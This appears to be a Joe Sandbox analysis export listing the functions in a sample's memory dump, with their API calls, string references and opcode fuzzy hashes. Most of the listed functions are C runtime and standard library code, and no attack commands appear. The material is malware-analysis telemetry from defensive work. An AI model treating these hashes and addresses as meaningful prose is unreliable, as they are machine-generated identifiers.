Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 386b0305ecd06fa250fd5bdb8f6bd218aab2dbb641340bba7c36ce84f6907957
Instruction ID: a9a397c3e2fa24eb6b4dfa15c76e2b0be0fd46f7a0aef76d710e50c3219d4e37
Opcode Fuzzy Hash: 386b0305ecd06fa250fd5bdb8f6bd218aab2dbb641340bba7c36ce84f6907957
Instruction Fuzzy Hash: 60F03776A14304EFD700EFA8E882B9D77F0FB48760F10416AE515DB6E1C7B55981CB50

Function 0010D83B Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001041E0: GetLastError.KERNEL32(?,00000008,0010708C), ref: 001041E4
Part of subcall function 001041E0: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00104286

EnumSystemLocalesW.KERNEL32(0010D794,00000001,?,?,?,0010DFFF,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0010D872

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: e7490479fc3e5d37d19c74b4d3910aab981f444c7debd622d859309394cfb0ed
Instruction ID: 706d38f576e94d04f3ca57e8212682ec135be87795664149714109b323f8ac9d
Opcode Fuzzy Hash: e7490479fc3e5d37d19c74b4d3910aab981f444c7debd622d859309394cfb0ed
Instruction Fuzzy Hash: 6DF0E53A70020557CB189F75EC4676ABF94FFC1764B468059EA458B690C7B19982C790

Function 00106831 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00103469,?,20001004,00000000,00000002,?,?,00102A6B), ref: 00106865

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 413d0a5b1112ef557406c0d9fc355c57c24ef1b219f48e436f73d84158f1d668
Instruction ID: 7d1c222930444a7d81fce64982fd01a43e133d9d165e8cc5e50494dd0276265e
Opcode Fuzzy Hash: 413d0a5b1112ef557406c0d9fc355c57c24ef1b219f48e436f73d84158f1d668
Instruction Fuzzy Hash: ECE04F3154062CBBCF162F61ED05B9E3F16EF54761F048421FD45695A0CBF18D30AAD4

Function 000F7E25 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00007E31,000F72C3), ref: 000F7E2A

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: b0de901b33566082f9b44db74807f38a5dc7e516364e0f2b95817ecfe509f86f
Instruction ID: e0e16f75adc760a02ad5d74ddeb48d86b59c78b044628e01a2a08ad3fcb7f57c
Opcode Fuzzy Hash: b0de901b33566082f9b44db74807f38a5dc7e516364e0f2b95817ecfe509f86f
Instruction Fuzzy Hash:

Function 0010E15F Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0010E15F

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: c967c3291b164d5e17a932d95da737f97633090c6f06166ff89a5cf014e3aa70
Instruction ID: b299b030ab19fd877f93d1650d2bf29ef39aa1d8af5f109de6900fde39c0cd97
Opcode Fuzzy Hash: c967c3291b164d5e17a932d95da737f97633090c6f06166ff89a5cf014e3aa70
Instruction Fuzzy Hash: F7A01130202200CB83028F30AB0820A3AAABB882C030880A8A008C8AA0EA3080C0AA00

Function 000F3D50 Relevance: .4, Instructions: 379COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a053df47e1f7a8b2c53f1fac2e431e5c3a136374f9f2535a01469136b2c20db2
Instruction ID: c32a2049de485bad157fa29d2ff860fdddd069901e40a545a514defbb4e20f53
Opcode Fuzzy Hash: a053df47e1f7a8b2c53f1fac2e431e5c3a136374f9f2535a01469136b2c20db2
Instruction Fuzzy Hash: 4CD1AE329087449FC314DF28C84196FFBE5BFC8750F044A2DFA99A7651E730EA449B92

Function 00106B35 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23ebd0bd5e6436c6e2895a3075ff04c1db8902bf7fd9e8bc258d8b36fe32f176
Instruction ID: 17e289a118421a489eca110e579cbfe90e690adc347acf345b9b9dd363867856
Opcode Fuzzy Hash: 23ebd0bd5e6436c6e2895a3075ff04c1db8902bf7fd9e8bc258d8b36fe32f176
Instruction Fuzzy Hash: 72E08CB2A11228EBCB18DB8CC904D8AF3ECEB48B40B254096B501D3140C7B0DF10C7D0

Function 00101FC4 Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4d8b999291919f67ab95172bb40c1622bcef9bcb7b93c8f6f6cac1d49c48351
Instruction ID: d9dda17d0da3508dfa134239d5ffd0d66d93b0cde75760cf4ca381797a2a9d41
Opcode Fuzzy Hash: d4d8b999291919f67ab95172bb40c1622bcef9bcb7b93c8f6f6cac1d49c48351
Instruction Fuzzy Hash: DAC08C3460190096CE2989108275BA833A4B3A1B82F80048CD8824B6C2C7DE9C8AD640

Function 000F1EE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000F1EF5
std::_Lockit::_Lockit.LIBCPMT ref: 000F1F0F
std::_Lockit::~_Lockit.LIBCPMT ref: 000F1F30
std::_Lockit::~_Lockit.LIBCPMT ref: 000F1F88
std::_Lockit::_Lockit.LIBCPMT ref: 000F1FCD
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 000F201E
__Getctype.LIBCPMT ref: 000F2035
std::_Facet_Register.LIBCPMT ref: 000F205F
std::_Lockit::~_Lockit.LIBCPMT ref: 000F2078

Part of subcall function 000F50AA: std::invalid_argument::invalid_argument.LIBCONCRT ref: 000F50B6

Strings

bad locale name, xrefs: 000F2087

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeLocinfo::_Locinfo_ctorRegisterstd::invalid_argument::invalid_argument
String ID: bad locale name
API String ID: 2137871723-1405518554
Opcode ID: df8a8c2af9dcf0876ad8cbdccc33e35db10b7a92b745752173f3ac70c38815a1
Instruction ID: 39e2b304a6de22bbd6be54799d150855d07b6619a48a32a687985f3a4fd4d67d
Opcode Fuzzy Hash: df8a8c2af9dcf0876ad8cbdccc33e35db10b7a92b745752173f3ac70c38815a1
Instruction Fuzzy Hash: F541D232504348CFC360DF18D880BBAB7E0AF95710F15456DFA849BA52DB71E98ADB92

Function 000F20A0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000F20B2
std::_Lockit::_Lockit.LIBCPMT ref: 000F20CF
std::_Lockit::~_Lockit.LIBCPMT ref: 000F20F0
std::_Lockit::~_Lockit.LIBCPMT ref: 000F214B
std::_Lockit::_Lockit.LIBCPMT ref: 000F218C
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 000F21CF
std::_Facet_Register.LIBCPMT ref: 000F21F8
std::_Lockit::~_Lockit.LIBCPMT ref: 000F2211

Part of subcall function 000F50AA: std::invalid_argument::invalid_argument.LIBCONCRT ref: 000F50B6

Strings

bad locale name, xrefs: 000F2220

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Locinfo::_Locinfo_ctorRegisterstd::invalid_argument::invalid_argument
String ID: bad locale name
API String ID: 3096327801-1405518554
Opcode ID: fbbbd93b22332084425e9eebdc82b2a7b86bc1e5519c8cc6f8d41547d8ad2bb3
Instruction ID: 5d549bdbb9fa9a43c254bdb537810d18db877049033289357052a7bc3b0d9594
Opcode Fuzzy Hash: fbbbd93b22332084425e9eebdc82b2a7b86bc1e5519c8cc6f8d41547d8ad2bb3
Instruction Fuzzy Hash: 9641E4729043488FC360DF24D8809ABB7E0BF94710F05456DEB859B652DB30ED4ADB93

Function 000F2FB0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 128COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000F3011
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 000F3058
Concurrency::cancel_current_task.LIBCPMT ref: 000F311A
Concurrency::cancel_current_task.LIBCPMT ref: 000F311F
Concurrency::cancel_current_task.LIBCPMT ref: 000F3124

Strings

false, xrefs: 000F30B2
true, xrefs: 000F30D8
bad locale name, xrefs: 000F3129

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name$false$true
API String ID: 164343898-1062449267
Opcode ID: de1cdceaf1d3adaa6ce46866bdb5b076bba300b541f89b11b22f6700d8151cad
Instruction ID: 0f97c90ca6fc149848d156eebad7df5196e7e7bea4833e07db14d29b17beba8a
Opcode Fuzzy Hash: de1cdceaf1d3adaa6ce46866bdb5b076bba300b541f89b11b22f6700d8151cad
Instruction Fuzzy Hash: FC41F3715047489FC324DF2488817ABBBE0BF84710F44492EF7989BA53EB70DA49DB92

Function 000F7152 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 000F7158
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 000F7166
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 000F7177
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 000F7188

Strings

GetTempPath2W, xrefs: 000F717D
GetSystemTimePreciseAsFileTime, xrefs: 000F716C
kernel32.dll, xrefs: 000F7153
GetCurrentPackageId, xrefs: 000F7160

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1247241052
Opcode ID: 820dba2e5e30547551ffb61c860a53572bba07222c393cf08a1e3d3397b9a475
Instruction ID: 903a8f9013c098b5d0bd95e58552b8083de8f658fd4f897a81b6dc3ef63e2555
Opcode Fuzzy Hash: 820dba2e5e30547551ffb61c860a53572bba07222c393cf08a1e3d3397b9a475
Instruction Fuzzy Hash: 5FE0EC31A51720EBC309AFF0BD1D9DA3ABABB4E7413848426F405D2960DB7684C0CBE0

Function 000FA918 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 000FAA37
___TypeMatch.LIBVCRUNTIME ref: 000FAB45
_UnwindNestedFrames.LIBCMT ref: 000FAC97
CallUnexpected.LIBVCRUNTIME ref: 000FACB2

Strings

csm, xrefs: 000FA955
csm, xrefs: 000FA9C2
csm, xrefs: 000FAA6E

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: bf7dd03c1e88dc134e0d2fe369dd922398ad6611efed803e9d8a354067b32abd
Instruction ID: 7736ad3eea8c431108f03eb362fa0c4b4f6ccd465d64369ac8cf03db9ead8f80
Opcode Fuzzy Hash: bf7dd03c1e88dc134e0d2fe369dd922398ad6611efed803e9d8a354067b32abd
Instruction Fuzzy Hash: DDB16BB1A0020DDFCF19DF94C9819BEB7B5FF0A310B144159EA096BA12D731EA51EF92

Function 00109C65 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 00109EDE

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 4f7af0308dec2e945f6ab25d1ce9185cd3484aff365a3f99953acbd528bfcd3b
Instruction ID: 9d64076e6313ec84943ace115e7bd256239aa53b984c01eaf67e576cfa782d61
Opcode Fuzzy Hash: 4f7af0308dec2e945f6ab25d1ce9185cd3484aff365a3f99953acbd528bfcd3b
Instruction Fuzzy Hash: AAB1C570E0424AEFDB15DF99C8A0BBE7BB1AF99300F144155E5859B2D3C7B09D82CBA1

Function 00112504 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(007654A0,007654A0,?,7FFFFFFF,?,001127D4,007654A0,007654A0,?,007654A0,?,?,?,?,007654A0,?), ref: 001125AA
__alloca_probe_16.LIBCMT ref: 00112665
__alloca_probe_16.LIBCMT ref: 001126F4
__freea.LIBCMT ref: 0011273F
__freea.LIBCMT ref: 00112745
__freea.LIBCMT ref: 0011277B
__freea.LIBCMT ref: 00112781
__freea.LIBCMT ref: 00112791

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: b66c7ab4c8f7fde0a8c042af85befed9fb5e63a7720f108db884cf51f2c03ba8
Instruction ID: 37adc720260115c6e41efe65aafd8504a513bd4bcb9a668b3170c03fb9dbebea
Opcode Fuzzy Hash: b66c7ab4c8f7fde0a8c042af85befed9fb5e63a7720f108db884cf51f2c03ba8
Instruction Fuzzy Hash: 4571D672A042096BDF299F548C81BFF77AAAF59310F250139E904A72D2EB75DCA0C760

Function 000F6E28 Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 000F6E71
__alloca_probe_16.LIBCMT ref: 000F6E9D
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 000F6EDC
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 000F6EF9
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 000F6F38
__alloca_probe_16.LIBCMT ref: 000F6F55
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 000F6F97
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 000F6FBA

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: e4c8d1804b867ab2a800d3458e0353cefb8f76b9f042fe88565c7573b015881b
Instruction ID: 5ef3842f35ceaa7518c010b3183cca3bd101b297d6472c30721e36b0b0c0477c
Opcode Fuzzy Hash: e4c8d1804b867ab2a800d3458e0353cefb8f76b9f042fe88565c7573b015881b
Instruction Fuzzy Hash: E251BF7290021EABDF209FA4DC44FBB7BBAEF44740F154424FA15D6590E7729D18EBA0

Function 000F2230 Relevance: 9.1, APIs: 6, Instructions: 95COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000F223D
std::_Lockit::_Lockit.LIBCPMT ref: 000F225B
std::_Lockit::~_Lockit.LIBCPMT ref: 000F227C
std::_Lockit::~_Lockit.LIBCPMT ref: 000F22CC
std::_Facet_Register.LIBCPMT ref: 000F22F6
std::_Lockit::~_Lockit.LIBCPMT ref: 000F230F

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_Register
String ID:
API String ID: 1858714459-0
Opcode ID: 1dd2cd6482709a833dd77ea445a79850265106a5f42dad28233452ca8e0c1853
Instruction ID: 11f8286cd7db832e8de7b627715fc000d9737b1531eba6814a53fd09fe376f05
Opcode Fuzzy Hash: 1dd2cd6482709a833dd77ea445a79850265106a5f42dad28233452ca8e0c1853
Instruction Fuzzy Hash: 9321467690421D9FC750DF14FC809BAB3A0FB80320F04066DEE4197A52DB34AE4AEBD2

Function 000FA5AA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,000FA5A1,000F8CDA,000F7E75), ref: 000FA5B8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 000FA5C6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 000FA5DF
SetLastError.KERNEL32(00000000,000FA5A1,000F8CDA,000F7E75), ref: 000FA631

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 02496e958d624924cee234925731c0d7108c11c57b1ecd697b746d14eda55477
Instruction ID: 439cbad434f4d288f92bc52e646a9965c93c35c9e90c1fa63a6cc61b8b51a896
Opcode Fuzzy Hash: 02496e958d624924cee234925731c0d7108c11c57b1ecd697b746d14eda55477
Instruction Fuzzy Hash: A101F572218B196E9AA427F4AC855BA36C4DB527B5720032AF31481DE2FF924C427545

Function 00101FE6 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,429EDEEC,?,?,00000000,00113CC0,000000FF,?,00101F76,?,?,00101F4A,00000016), ref: 0010201B
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0010202D
FreeLibrary.KERNEL32(00000000,?,00000000,00113CC0,000000FF,?,00101F76,?,?,00101F4A,00000016), ref: 0010204F

Strings

CorExitProcess, xrefs: 00102025
mscoree.dll, xrefs: 00102014

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: cd0252d4eca5b29e348065ded1101c79acbaad60cea02cbf120fa04663f5f353
